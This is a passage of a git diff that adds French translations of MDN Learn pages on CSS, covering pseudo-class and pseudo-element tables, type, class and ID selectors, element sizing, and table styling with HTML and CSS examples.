{{ Cssxref(":is", ":is()")}}Matches any of the selectors in the selector list that is passed in.
{{ Cssxref(":not") }}Matches things not matched by selectors that are passed in as a value to this selector.
{{ Cssxref(":nth-child") }}Matches elements from a list of siblings — the siblings are matched by a formula of the form an+b (e.g. 2n + 1 would match elements 1, 3, 5, 7, etc. All the odd ones.)
{{ Cssxref(":nth-of-type") }}Matches elements from a list of siblings that are of a certain type (e.g. <p> elements) — the siblings are matched by a formula of the form an+b (e.g. 2n + 1 would match that type of element, numbers 1, 3, 5, 7, etc. All the odd ones.)
{{ Cssxref(":nth-last-child") }}Matches elements from a list of siblings, counting backwards from the end. The siblings are matched by a formula of the form an+b (e.g. 2n + 1 would match the last element in the sequence, then two elements before that, then two elements before that, etc. All the odd ones, counting from the end.)
{{ Cssxref(":nth-last-of-type") }}Matches elements from a list of siblings that are of a certain type (e.g. <p> elements), counting backwards from the end. The siblings are matched by a formula of the form an+b (e.g. 2n + 1 would match the last element of that type in the sequence, then two elements before that, then two elements before that, etc. All the odd ones, counting from the end.)
{{ Cssxref(":only-child") }}Matches an element that has no siblings.
{{ Cssxref(":only-of-type") }}Matches an element that is the only one of its type among its siblings.
{{ Cssxref(":optional") }}Matches form elements that are not required.
{{ Cssxref(":out-of-range") }}Matches an element with a range when its value is out of range.
{{ Cssxref(":past") }}Matches the elements before the current element.
{{ Cssxref(":placeholder-shown") }}Matches an input element that is showing placeholder text.
{{ Cssxref(":playing") }}Matches an element representing an audio, video, or similar resource that is capable of being “played” or “paused”, when that element is “playing”.
{{ Cssxref(":paused") }}Matches an element representing an audio, video, or similar resource that is capable of being “played” or “paused”, when that element is “paused”.
{{ Cssxref(":read-only") }}Matches an element if it is not user-alterable.
{{ Cssxref(":read-write") }}Matches an element if it is user-alterable.
{{ Cssxref(":required") }}Matches form elements that are required.
{{ Cssxref(":right") }}In Paged Media, matches right-hand pages.
{{ Cssxref(":root") }}Matches an element that is the root of the document.
{{ Cssxref(":scope") }}Matches any element that is a scope element.
{{ Cssxref(":valid") }}Matches an element such as an <input> element, in a valid state.
{{ Cssxref(":target") }}Matches an element if it is the target of the current URL (i.e. if it has an ID matching the current URL fragment).
{{ Cssxref(":visited") }}Matches visited links.
+ +

Pseudo-éléments

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SélecteurDescription
{{ Cssxref("::after") }}Matches a stylable element appearing after the originating element's actual content.
{{ Cssxref("::before") }}Matches a stylable element appearing before the originating element's actual content.
{{ Cssxref("::first-letter") }}Matches the first letter of the element.
{{ Cssxref("::first-line") }}Matches the first line of the containing element.
{{ Cssxref("::grammar-error") }}Matches a portion of the document containing a grammar error as flagged by the browser.
{{ Cssxref("::selection") }}Matches the portion of the document that has been selected.
{{ Cssxref("::spelling-error") }}Matches a portion of the document containing a spelling error as flagged by the browser.
+ +

{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks")}}

+ +

Dans ce cours

+ +
    +
  1. Cascade and inheritance
    2. +
  2. CSS selectors + +
    3. +
  3. The box model
    4. +
  4. Backgrounds and borders
    5. +
  5. Handling different text directions
    6. +
  6. Overflowing content
    7. +
  7. Values and units
    8. +
  8. Sizing items in CSS
    9. +
  9. Images, media, and form elements
    10. +
  10. Styling tables
    11. +
  11. Debugging CSS
    12. +
  12. Organizing your CSS
    13. +
diff --git a/files/fr/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.html b/files/fr/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.html new file mode 100644 index 0000000000..f6d0580279 --- /dev/null +++ b/files/fr/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.html @@ -0,0 +1,117 @@ +--- +title: 'Sélecteurs de type, de classe et d''ID' +slug: Apprendre/CSS/Building_blocks/Selectors/Sélecteurs_de_type_classe_ID +translation_of: Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors +--- +

{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks")}}

+ +

Dans cette leçon, nous examinons les sélecteurs les plus simples qu'on puisse trouver, ce sont ceux que vous utiliserez le plus couramment dans votre travail.

+ + + + + + + + + + + + +
Prérequis :Notions de base en l'informatique, logiciels de base installés, savoir manipuler des fichiers, connaissance de base de HTML (cf. Introduction à HTML.) et une première idée du fonctionnement de CSS (voir premiers pas en CSS.)
Objectif :Voir dans les détails comment les sélecteurs CSS fonctionnent.
+ +

Sélecteur de type

+ +

Un sélecteur de type cible un élément HTML (une balise) de votre document, on parle aussi de sélecteur de balise ou d'élément. Dans l'exemple ci-dessous on utilise les sélecteurs span, em et strong. Chaque instance de <span>, <em> et <strong> est ainsi mise en forme.

+ +

Essayez d'ajouter une règle CSS pour sélectionner l'élément <h1> et changer sa couleur en bleu.

+ +

{{EmbedGHLiveSample("css-examples/learn/selectors/type.html", '100%', 1100)}}

+ +

Le sélecteur universel

+ +

Le sélecteur universel est indiqué par un astérisque (*) et sélectionne tout dans le document (ou à l'intérieur de l'élément parent s'il est enchaîné avec un autre élément et un combinateur descendant, par exemple). Dans l'exemple suivant, nous avons utilisé le sélecteur universel pour supprimer les marges de tous les éléments. Cela signifie qu'au lieu du style par défaut ajouté par le navigateur, qui espace les en-têtes et les paragraphes avec des marges, tout est collé, la distinction des paragraphes est mal aisée.

+ +

{{EmbedGHLiveSample("css-examples/learn/selectors/universal.html", '100%', 750)}}

+ +

On peut rencontrer ce type de comportement dans les "feuilles de style de réinitialisation" qui suppriment toutes les mises en forme par défaut du navigateur. Très populaires à une époque, ces réinitialisations ont un gros inconvénient, la suppression de tous les styles par défaut signifie en effet qu'on doit construire la mise en forme de zéro ! On utilisera donc le sélecteur universel avec précaution, dans des situations très spécifiques, comme par exemple celle décrite ci-dessous.

+ +

Utiliser le sélecteur universel pour rendre les sélecteurs plus lisibles

+ +

On peut utiliser * pour rendre les sélecteurs plus lisibles, pour clarifier leur  fonctionnement. Par exemple, si je veux sélectionner le premier descendant de chaque élément <article> pour le mettre en gras, je peux utiliser le sélecteur {{cssxref(":first-child")}}, qu'on verra dans la leçon sur les pseudo-classes et pseudo-éléments :  

+ +
article :first-child {
+
+}
+ +

On peut néanmoins confondre ce sélecteur avec article:first-child ciblant les éléments <article>  qui sont le premier descendant d'un élément.

+ +

Pour éviter cette confusion, on peut ajouter le sélecteur universel * à  :first-child,  le fonctionnement de ce dernier sera plus clair : il cible tout élément premier descendant d'un élément <article> :

+ +
article *:first-child {
+
+}
+ +

Sélecteurs de classe

+ +

Le sélecteur de classe commence par un point  . et sélectionne tout élément du document auquel cette classe est appliquée. Dans l'exemple live ci-dessous, nous avons créé une classe appelée .highlight et l'avons appliquée à plusieurs endroits du document. Tous les éléments auxquels la classe est appliquée sont mis en évidence.

+ +

{{EmbedGHLiveSample("css-examples/learn/selectors/class.html", '100%', 750)}}

+ +

Cibler des classes d'un élément donné

+ +

On peut créer un sélecteur ciblant les éléments d'un type donné appartenant à une classe donnée. Dans l'exemple suivant, la classe highlight met en surbrillance, mais elle le fait différemment quand elle s'applique à un <span> ou à un titre <h1>. Nous le faisons en utilisant le sélecteur de type pour l'élément ciblé, avec la classe ajoutée, sans espace blanc entre les deux.

+ +

{{EmbedGHLiveSample("css-examples/learn/selectors/class-type.html", '100%', 750)}}

+ +

Cette approche rend le CSS moins réutilisable : la déclaration ne s'applique qu'à ces éléments particuliers, et il faudrait ajouter un nouveau sélecteur pour que la règle parvienne à cibler d'autres éléments.

+ +

Cibler un élément appartenant à plus d'une classe

+ +

Vous pouvez attribuer plusieurs classes à un même élément et les sélectionner individuellement, ou cibler l'élément seulement quand toutes les classes apparaissent dans le sélecteur. Cela peut s'avérer utile si vous créez des composants qui peuvent être combinés de différentes manières sur votre site.

+ +

L'exemple ci-dessous présente trois <div> contenant chacun une note. Si la boîte est dans la classe  notebox elle a une bordure grise. Si de plus elle est dans la classe warning ou danger, on change la {{cssxref("border-color")}}.

+ +

On indique au navigateur la combinaison de classes ciblée en enchaînant les sélecteurs de classe sans laisser d'espace entre.

+ +

{{EmbedGHLiveSample("css-examples/learn/selectors/class-many.html", '100%', 900)}}

+ +

Sélecteurs d'ID

+ +

Un sélecteur d'ID commence par un # plutôt que par un point, mais est essentiellement utilisé de la même manière qu'un sélecteur de classe. Une ID ne peut cependant être utilisée qu'une seule fois par document. Le sélecteur cible l'élément avec l'id associée ; on peut faire précéder l'ID d'un sélecteur de type pour ne cibler l'élément que si l'élément et l'ID correspondent. Voyons ces deux utilisations dans l'exemple suivant :

+ +

{{EmbedGHLiveSample("css-examples/learn/selectors/id.html", '100%', 750)}}

+ +
+

Note : Comme on l'a vu dans la leçon sur la spécificité, on attribue une haute spécificité aux ID, les sélecteurs d'ID l'emportent donc sur la plupart des autres. Cela peut rendre leur usage compliqué. La plupart du temps il est préférable de passer par des sélecteurs de classe plutôt que d'ID, cependant si l'utilisation d'une ID est la seule façon de cibler un élément — peut-être que vous n'avez pas accès au balisage, que vous ne pouvez pas l'éditer — cela fonctionnera.

+
+ +

Prochain article

+ +

Notre exploration des sélecteurs se poursuit par l'étude des sélecteurs d'attributs.

+ +

{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks")}}

+ +

Dans ce cours

+ +
    +
  1. Cascade and inheritance
    2. +
  2. CSS selectors + +
    3. +
  3. The box model
    4. +
  4. Backgrounds and borders
    5. +
  5. Handling different text directions
    6. +
  6. Overflowing content
    7. +
  7. Values and units
    8. +
  8. Sizing items in CSS
    9. +
  9. Images, media, and form elements
    10. +
  10. Styling tables
    11. +
  11. Debugging CSS
    12. +
  12. Organizing your CSS
    13. +
diff --git a/files/fr/learn/css/building_blocks/sizing_items_in_css/index.html b/files/fr/learn/css/building_blocks/sizing_items_in_css/index.html new file mode 100644 index 0000000000..8349fb5a59 --- /dev/null +++ b/files/fr/learn/css/building_blocks/sizing_items_in_css/index.html @@ -0,0 +1,135 @@ +--- +title: Définir la taille des éléments en CSS +slug: Apprendre/CSS/Building_blocks/Sizing_items_in_CSS +translation_of: Learn/CSS/Building_blocks/Sizing_items_in_CSS +--- +
{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks/Images_media_form_elements", "Learn/CSS/Building_blocks")}}
+ +
+ +
Dans les différentes leçons vues jusqu'à présent vous avez rencontré de nombreuses manières de dimensionner les éléments sur une page en utlisant CSS. Comprendre le dimensionnement des différentes caractéristiques de votre design est important. Cette leçon résumera les diverses méthodes pour appliquer une taille via CSS et définira également quelques termes au sujet du dimensionnement qui vous aiderons dans le futur.
+ +
+ + + + + + + + + + + + +
Prérequis: +

Maîtrise élémentaire de l'informatique, suite logicielle de base installée, compétences élémentaires pour travailler avec des fichiers, connaissance de base du HTML  (cf. Introduction à HTML), et une idée de Comment fonctionne CSS.

+
Objectif:Découvrir comment spécifier la taille des éléments en CSS.
+ +

La taille naturelle ou intrinsèque des choses

+ +

Tous les éléments HTML ont une taille "naturelle", définie avant toute modification par CSS. Un exemple parlant est celui d'un élément image. Une image a une largeur et une hauteur définies dans le fichier image qu'elle incorpore dans la page. On parle d'une taille intrinsèque — qui provient de l'image elle même.

+ +

Si vous placer une image dans une page sans modifier sa hauteur ni sa largeur (que ce soit à en utilisant un attribut sur la balise <img> ou avec CSS), cela l'affichera en utilisant sa taille intrasèque. Ci-dessous nous avons l'exemple d'une image à laquelle nous avons ajouté une bordure afin de bien délimiter sa taille.

+ +

{{EmbedGHLiveSample("css-examples/learn/sizing/intrinsic-image.html", '100%', 600)}}

+ +

Un élément {{htmlelement("div")}} vide en revanche, n'a pas de taille en soi. Si vous ajouter une {{htmlelement("div")}} à votre HTML sans aucun contenu à l'intérieur,et que vous lui ajouter une bordure comme nous l'avons fait avec l'image ci-dessus, vous verrez une ligne s'afficher sur la page. Cette ligne résulte de la juxtaposition des bordures horizontales, car il n'y a aucun contenu entre les deux. De plus les bordures s'étendent sur toute la largeur disponible du conteneur, car il s'agit d'un élément de bloc. Un comportement avec lequel vous devriez déjà être familiarisé. Cet élément n'a pas de hauteur (ou plutôt pas de taille dans l'axe de bloc) car il n'y a pas de contenu à l'interieur de celui ci.

+ +

{{EmbedGHLiveSample("css-examples/learn/sizing/intrinsic-text.html", '100%', 500)}}

+ +

Dans l'exemple ci-dessus; essayez d'ajouter du texte a l'interieur de l'élément vide. Les bordures contiennent maintenant ce texte car la hauteur de l'élément est définie par son contenu. De plus, la taille de cette <div> dans l'axe de bloc provient maintenant de la taille du contenu. Là aussi il s'agit de la taille intrasèque de l'élément — sa taille est définie par son contenu.

+ +

Spécifier une taille

+ +

Nous pouvons bien entendu donner une taille spécifique aux éléments. Quand une taille est ainsi donnée à un élément (et que son contenu est adapté à cette taille), nous parlons de taille extrinsèque. Reprenons notre <div> de l'exemple précédent — nous pouvons lui donner une  {{cssxref("width")}} spécifique et une {{cssxref("height")}} spécifique, l'élément à désormais une taille définie peu importe ce qui est placé à l'interieur de celui ci. Comme nous l'avons appris dans notre précédente leçon sur le concept d'overflow, une hauteur définie peut générer un débordement du contenu si celui ci est plus important que l'espace alloué par son conteneur.

+ +

{{EmbedGHLiveSample("css-examples/learn/sizing/height.html", '100%', 600)}}

+ +

Du fait de ce comportement parfois inattendu, fixer la hauteur d'un élément avec une longueur ou en pourcentage est une pratique à utiliser avec parcimonie sur le web.

+ +

Avec les pourcentages

+ +

De bien des manières, les pourcentages agissent de la même manière que les unités de longueur, et comme nous l'avons vu dans la leçon sur les valeurs et unités en CSS, ils peuvent souvent être utilisés de manière interchangeable avec les unités de longueur. Lorsque vous utilisez les pourcentages vous devez seulement être conscient de la valeur auquelle se réfère le pourcentage. Si vous donnez à un bloc enfant une largeur définie en pourcentage, celui ci correspond à un pourcentage de la largeur du conteneur parent.

+ +

{{EmbedGHLiveSample("css-examples/learn/sizing/percent-width.html", '100%', 600)}}

+ +

En effet, les pourcentages sont determinés en fonction de la taille de l'élément parent. Si aucun pourcentage n'est spécifié, notre <div> prendra 100% de l'espace disponible (car il s'agit du comportement par défaut d'un élément de type bloc). En revanche si nous lui donnons une largeur en pourcentage, ce pourcentage fera référence à l'espace que la <div> aurait normalement occupé dans l'élément parent.

+ +

Marges et remplissage en pourcentages

+ +

Si vous définissez les margins (marges exterieurs) et les paddings (marges intérieurs) avec des pourcentages, vous noterez un comportement inattendu. Dans l'exemple ci-dessous nous avons une boite. Nous avons défini la propriété {{cssxref("margin")}} à 10% et la propriété {{cssxref("padding")}} à 10% également. Les marges intérieurs et exterieurs sur le haut et le bas de la boite ont la même taille que les marges extérieurs sur la gauche et la droite.

+ +

{{EmbedGHLiveSample("css-examples/learn/sizing/percent-mp.html", '100%', 700)}}

+ +

You might expect for example the percentage top and bottom margins to be a percentage of the element's height, and the percentage left and right margins to be a percentage of the element's width. However, this is not the case!

+ +

When you use margin and padding set in percentages, the value is calculated from the inline size — therefore the width when working in a horizontal language. In our example, all of the margins and padding are 10% of the width. This means you can have equal sized margins and padding all round the box. This is a fact worth remembering if you do use percentages in this way.

+ +

tailles min- et max- 

+ +

In addition to giving things a fixed size, we can ask CSS to give an element a minimum or a maximum size. If you have a box that might contain a variable amount of content, and you always want it to be at least a certain height, you could set the {{cssxref("min-height")}} property on it. The box will always be at least this height, but will then grow taller if there is more content than the box has space for at its minimum height.

+ +

In the example below you can see two boxes, both with a defined height of 150 pixels. The box on the left is 150 pixels tall; the box on the right has content that needs more room, and so it has grown taller than 150 pixels.

+ +

{{EmbedGHLiveSample("css-examples/learn/sizing/min-height.html", '100%', 800)}}

+ +

This is very useful for dealing with variable amounts of content while avoiding overflow.

+ +

A common use of {{cssxref("max-width")}} is to cause images to scale down if there is not enough space to display them at their intrinsic width, while making sure they don't become larger than that width.

+ +

As an example, if you were to set width: 100% on an image, and its intrinsic width was smaller than its container, the image would be forced to stretch and become larger, causing it to look pixellated. If its intrinsic width were larger than its container, it would overflow it. Neither case is likely to be what you want to happen.

+ +

If you instead use max-width: 100%, the image is able to become smaller than its intrinsic size, but will stop at 100% of its size.

+ +

In the example below we have used the same image twice. The first image has been given width: 100% and is in a container which is larger than it, therefore it stretches to the container width. The second image has max-width: 100% set on it and therefore does not stretch to fill the container. The third box contains the same image again, also with max-width: 100% set; in this case you can see how it has scaled down to fit into the box.

+ +

{{EmbedGHLiveSample("css-examples/learn/sizing/max-width.html", '100%', 800)}}

+ +

This technique is used to make images responsive, so that when viewed on a smaller device they scale down appropriately. You should however not use this technique to load in really large images and then scale them down in the browser. Images should be appropriately sized to be no larger than they need to be for the largest size they are displayed in the design. Downloading overly large images will cause your site to become slow, and it can cost users more money if they are on a metered connection.

+ +
+

Note : Find out more about responsive image techniques.

+
+ +

Unités de la fenêtre d'affichage

+ +

La fenêtre — la surface de la page montrée par le navigateur lorsqu'on navigue sur un site — a aussi des dimensions. Certaines unités CSS sont dédiées à la description des dimensions de la fenêtre —  vw pour viewport width (largeur de la fenêtre), et vh pour viewport height (hauteur de la fenêtre). Grâce à ces unités vous pouvez dimensionner un objet en fonction de la fenêtre de l'utilisateur.

+ +

1vh correspond à 1% dela hauteur de la fenêtre, 1vw à 1% sa largeur. Avec ces unités, on peut dimensionner des boîtes aussi bien que du texte. Dans l'exemple ci-dessous, la boîte a pour dimensions 20vh et 20vw. Elle contient la lettre A, de {{cssxref("font-size")}} 10vh.

+ +

{{EmbedGHLiveSample("css-examples/learn/sizing/vw-vh.html", '100%', 600)}}

+ +

If you change the vh and vw values this will change the size of the box or font; changing the viewport size will also change their sizes because they are sized relative to the viewport. To see the example change when you change the viewport size you will need to load the example in a new browser window that you can resize (as the embedded <iframe> that contains the example shown above is its viewport). Open the example, resize the browser window, and observe what happens to the size of the box and text.

+ +

Dimensionner les objets en fonction de la fenêtre peut s'avérer utile. Par exemple, pour afficher la section principale en pleine page, il suffit de lui attribuer 100vh, cela poussera le reste du contenu sous la fenêtre ; le reste du contenu n'apparaîtra qu'en la faisant défiler.

+ +

Résumé

+ +

Cette leçon a voulu vous sensibiliser aux difficultés principales qu'on rencontre dès qu'on veut donner une dimension aux objets sur le Web. When you move onto CSS Layout, sizing will become very important in mastering the different layout methods, so it is worth understanding the concepts here before moving on.

+ +

{{PreviousMenuNext("Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks/Images_media_form_elements", "Learn/CSS/Building_blocks")}}

+ +

Dans ce cours

+ +
    +
  1. Cascade and inheritance
    2. +
  2. CSS selectors + +
    3. +
  3. The box model
    4. +
  4. Backgrounds and borders
    5. +
  5. Handling different text directions
    6. +
  6. Overflowing content
    7. +
  7. Values and units
    8. +
  8. Sizing items in CSS
    9. +
  9. Images, media, and form elements
    10. +
  10. Styling tables
    11. +
  11. Debugging CSS
    12. +
  12. Organizing your CSS
    13. +
diff --git a/files/fr/learn/css/building_blocks/styling_tables/index.html b/files/fr/learn/css/building_blocks/styling_tables/index.html new file mode 100644 index 0000000000..9d6087e1a4 --- /dev/null +++ b/files/fr/learn/css/building_blocks/styling_tables/index.html @@ -0,0 +1,307 @@ +--- +title: Mise en page de tableaux +slug: Apprendre/CSS/Building_blocks/Styling_tables +tags: + - Article + - CSS + - Codage + - Débutant + - Guide + - HTML + - Style + - Tableaux +translation_of: Learn/CSS/Building_blocks/Styling_tables +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/CSS/Styling_boxes/Borders", "Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes")}}
+ +

Styliser un tableau HTML n'est pas le travail le plus passionnant au monde, mais ... quelquefois nous devons le faire. Cet article est un guide pour donner un bel aspect aux tableaux HTML à l'aide des fonctionnalités détaillées dans les articles précédents.

+ + + + + + + + + + + + +
Prérequis:Notions de HTML (voir Introduction à HTML), tableaux en HTML (voir le module sur les tableaux HTML (TBD)) et une idée du fonctionnement des CSS (voir Introduction aux CSS.)
Objectif :Apprendre à donner effectivement un style aux tableaux HTML.
+ +

Un tableau HTML typique

+ +

Commençons par un tableau HTML typique. Bien, je dis typique — la plupart des exemples de tableaux HTML concernent des chaussures, ou le temps, ou des employés ... nous avons décidé de faire quelque chose de plus intéressant et notre tableau se rapportera aux célèbres groupes punk du Royaume Uni. Le balisage ressemble à quelque chose comme ceci :

+ +
<table>
+  <caption>Récapitulatif des groupes punk les plus célébres du RU</caption>
+  <thead>
+    <tr>
+      <th scope="col">Groupe</th>
+      <th scope="col">Année de formation</th>
+      <th scope="col">Nombre d'albums</th>
+      <th scope="col">Morceau le plus célèbre</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <th scope="row">Buzzcocks</th>
+      <td>1976</td>
+      <td>9</td>
+      <td>Ever fallen in love (with someone you shouldn't've)</td>
+    </tr>
+    <tr>
+      <th scope="row">The Clash</th>
+      <td>1976</td>
+      <td>6</td>
+      <td>London Calling</td>
+    </tr>
+
+      ... quelques lignes supprimées pour condenser le texte
+
+    <tr>
+      <th scope="row">The Stranglers</th>
+      <td>1974</td>
+      <td>17</td>
+      <td>No More Heroes</td>
+    </tr>
+  </tbody>
+  <tfoot>
+    <tr>
+      <th scope="row" colspan="2">Total albums</th>
+      <td colspan="2">77</td>
+    </tr>
+  </tfoot>
+</table>
+ +

Le tableau est bien balisé, facile à disposer et accessible, remercions les fonctionnalités {{htmlattrxref("scope","th")}}, {{htmlelement("caption")}}, {{htmlelement("thead")}}, {{htmlelement("tbody")}}, etc. Malheureusement, il n'a pas un rendu bien terrible à l'écran (voyez‑le directement ici punk-bands-unstyled.html) :

+ +

Liste des groupes punk du Royaume Uni

+ +

Il est d'aspect resserré, difficile à lire et austère. Utilisons une règle CSS pour corriger cela.

+ +

Mettre en forme notre tableau

+ +

Dans cette section d'apprentissage actif, nous allons travailler le style de l'exemple de tableau ci-dessus.

+ +
    +
  1. Pour débuter, faites une copie locale de l'exemple de balisage, téléchargez les images (noise.png et leopardskin.jpg) et placez les trois fichiers dans un répertoire de travail quelque part sur votre ordinateur.
    2. +
  2. Ensuite, créez un nouveau fichier nommé style.css et enregistrez‑le dans le même répertoire que les autres fichiers.
    3. +
  3. Liez le CSS au HTML en mettant la ligne suivante dans l'élément {{htmlelement("head")}} : + 
    <link href="style.css" rel="stylesheet" type="text/css">
    +
    4. +
+ +

Espacement et disposition

+ +

La première chose à faire est de modifier l'espacement et la disposition — le style par défaut du tableau est tellement resserré ! Pour ce faire, ajoutez la règle CSS suivante au fichier style.css :

+ +
/* espacement */
+
+table {
+  table-layout: fixed;
+  width: 100%;
+  border-collapse: collapse;
+  border: 3px solid purple;
+}
+
+thead th:nth-child(1) {
+  width: 30%;
+}
+
+thead th:nth-child(2) {
+  width: 20%;
+}
+
+thead th:nth-child(3) {
+  width: 15%;
+}
+
+thead th:nth-child(4) {
+  width: 35%;
+}
+
+th, td {
+  padding: 20px;
+}
+ +

Voici les choses les plus importantes à noter :

+ +

Nous mettons un cadre ({{cssxref("border")}}) tout autour du tableau, cadre nécessaire car nous voulons encadrer l'en-tête et le pied de page du tableau plus tard — si vous n'avez pas d'encadrement général du tableau et terminez avec un espacement, l'apparence est insolite et peu cohérente.

+ +
    +
  • Définir pour le tableau la valeur fixed pour {{cssxref("table-layout")}} est généralement une bonne idée, car cela rend le comportement par défaut du tableau un peu plus prévisible. Normalement, les colonnes des tableaux sont dimensionnées en fonction de leur contenu, ce qui produit des résultats étranges. Avec table-layout: fixed, vous pouvez dimensionner les colonnes selon la largeur de leurs en-têtes, puis traiter leur contenu comme il convient. C'est pourquoi nous sélectionnons les quatre en-têtes distinctement avec le sélecteur thead th:nth-child(n) ({{cssxref(":nth-child")}}) (« sélectionner le nième élément enfant {{htmlelement("th")}} dans la liste à l'intérieur de l'élément {{htmlelement("thead")}} ») et leur donnons un pourcentage de largeur défini. Chaque colonne prend la largeur de son en‑tête, ce qui permet de bien dimensionner les colonnes du tableau. Chris Coyier expose cette technique de façon détaillée dans Fixed Table Layouts.
    +
    + Ceci est couplé avec une largeur {{cssxref("width")}} de 100%, ce qui signifie que le tableau remplira complétement tout conteneur dans lequel il sera placé et sera bien adaptable (même s'il aura besoin de quelques aménagements complémentaires pour avoir bel aspect avec les largeurs d'écran étroites).
    • +
  • La valeur collapse pour {{cssxref("border-collapse")}} est une bonne pratique courante pour toute mise en page de tableau. Par défaut, quand vous définissez des encadrements pour les éléments d'un tableau, il y a un espace entre eux, comme le montre cette illustration : Encadrement des éléments d'un tableau Cela n'a pas l'air très joli (même si c'est peut-être le look que vous voulez, qui sait ?) Avec border-collapse : collapse;, les bordures se condensent en une seule, ce qui est beaucoup mieux :Avec border-collapse: collapse; les encadrements se condensent
    • +
  • Nous avons mis un cadre ({{cssxref("border")}}) tout autour du tableau, cadre nécessaire car nous encadrerons  plus tard l'intitulé et le pied de page — si vous n'avez pas d'encadrement général du tableau, terminer par un espacement donne un aspect insolite et peu net.
    • +
  • Nous avons défini une valeur pour le remplissage ({{cssxref("padding")}}) des éléments {{htmlelement("th")}} et {{htmlelement("td")}} — cela donne un peu d'air aux données et facilite la lecture de la table.
    • +
+ +

À ce stade, le tableau a déjà meilleure mine :

+ +

Première mise en forme du tableau

+ +

Simple typographie

+ +

Maintenant, différencions un peu nos polices de caractère.

+ +

Tout d'abord, nous avons trouvé une police sur Google Fonts convenant aux tableaux concernant les groupes punk. Vous pouvez visiter le site vous‑même et en choisir une autre si vous le souhaitez ; il vous suffit de remplacer l'élément {{htmlelement("link")}} fourni et la déclaration {{cssxref("font-family")}} personnalisée par celles données par Google Fonts.

+ +

D'abord, ajoutons l'élément {{htmlelement("link")}} suivant dans l'élément HTML head, juste au‑dessus de l'élément <link> déjà présent :

+ +
<link href='https://fonts.googleapis.com/css?family=Rock+Salt' rel='stylesheet' type='text/css'>
+ +

Puis ajoutons le CSS suivant dans le fichier style.css :

+ +
/* typographie */
+
+html {
+  font-family: 'helvetica neue', helvetica, arial, sans-serif;
+}
+
+thead th, tfoot th {
+  font-family: 'Rock Salt', cursive;
+}
+
+th {
+  letter-spacing: 2px;
+}
+
+td {
+  letter-spacing: 1px;
+}
+
+tbody td {
+  text-align: center;
+}
+
+tfoot th {
+  text-align: right;
+}
+ +

Rien de propre aux tableaux ici ; nous modifions simplement le style de la police pour faciliter la lecture.

+ +
    +
  • Nous avons mis en place un empilement global de polices sans-serif ; c'est un choix purement stylistique. Nous avons également défini une valeur de police personnalisée pour en-têtes dans les éléments {{htmlelement("thead")}} et {{htmlelement("tfoot")}} pour un look accrocheur et « punky ».
    • +
  • Nous avons aussi défini une valeur particulière de {{cssxref("letter-spacing")}} pour les en‑têtes et les cellules pour améliorer la lisibilité. C'est encore un choix purement subjectif.
    • +
  • Nous avons choisi un alignement centré pour le texte des cellules dans l'élément {{htmlelement("tbody")}} pour qu'il soit bien aligné avec les têtes de colonnes. Par défaut, les cellules ont une valeur {{cssxref("text-align")}} égale à left et les en–têtes à center, mais généralement on obtient un meilleur aspect en prenant le même alignement pour les deux. L'éppaisseur par défaut sur les polices de l'en‑tête est suffisante pour différencier ces dernières du contenu des cellules.
    • +
  • Nous avons aligné à droite le titre à l'intérieur de l'élément {{htmlelement("tfoot")}}} pour qu'il soit mieux associé visuellement au résultat des données.
    • +
+ +

Cela fait un peu plus propre :

+ +

Deuxième mise en forme : modifications des polices de caractères.

+ +

Graphisme et couleurs

+ +

Maintenant, graphisme et couleurs ! Comme ce tableau est plein de postures punk, nous allons lui donner un style assez clinquant qui devrait lui convenir. Pas de problème, vous n'avez pas à rendre vos tableaux autant tape à l'œil — vous pouvez opter pour quelque chose de plus subtil et de bon goût.

+ +

Commençons par ajouter le CSS suivant à la fin du fichier style.css :

+ +
thead, tfoot {
+  background: url(leopardskin.jpg);
+  color: white;
+  text-shadow: 1px 1px 1px black;
+}
+
+thead th, tfoot th, tfoot td {
+  background: linear-gradient(to bottom, rgba(0,0,0,0.1), rgba(0,0,0,0.5));
+  border: 3px solid purple;
+}
+
+ +

Encore une fois, il n'y a rien de propre aux tableaux ici, mais cela vaut la peine de noter certaines choses.

+ +

Nous avons ajouté un élément {{cssxref("background-image")}} aux éléments {{htmlelement("thead")}} et {{htmlelement("tfoot")}} et changé la valeur de  {{cssxref("color")}} du texte dans l'en-tête et le pied de page en blanc (nous l'avons aussi ombré avec {{cssxref("text-shadow")}}) pour qu'il soit bien lisible. Assurez‑vous que le texte contraste bien avec l'arrière-plan pour qu'il soit bien lisible.

+ +

Nous avons également ajouté un gradient linéaire aux éléments {{htmlelement("th")}}} et {{htmlelement("td")}}} à l'intérieur de l'en-tête et du pied de page pour donner un peu de texture ainsi qu'un cadre mauve brillant. Il est utile d'avoir plusieurs éléments imbriqués disponibles pour pouvoir superposer les styles. Oui, nous aurions pu mettre image de fond et gradient linéaire sur les éléments {{htmlelement("thead")}} et {{htmlelement("tfoot")}}} en utilisant plusieurs images de fond, mais nous avons décidé de le faire séparément pour le bénéfice des navigateurs plus anciens qui ne prennent pas en charge plusieurs images de fond ou gradients linéaires.

+ +

Zébrures

+ +

Nous avons souhaité dédier un paragraphe séparé à la  mise en place de zèbrures — une alternance de coloris des lignes faisant ressortir les données des tableaux, facilitant leur lecture et leur analyse. Ajoutez le CSS suivant au bas de votre fichier style.css :

+ +
tbody tr:nth-child(odd) {
+  background-color: #ff33cc;
+}
+
+tbody tr:nth-child(even) {
+  background-color: #e495e4;
+}
+
+tbody tr {
+  background-image: url(noise.png);
+}
+
+table {
+  background-color: #ff33cc;
+}
+ +
    +
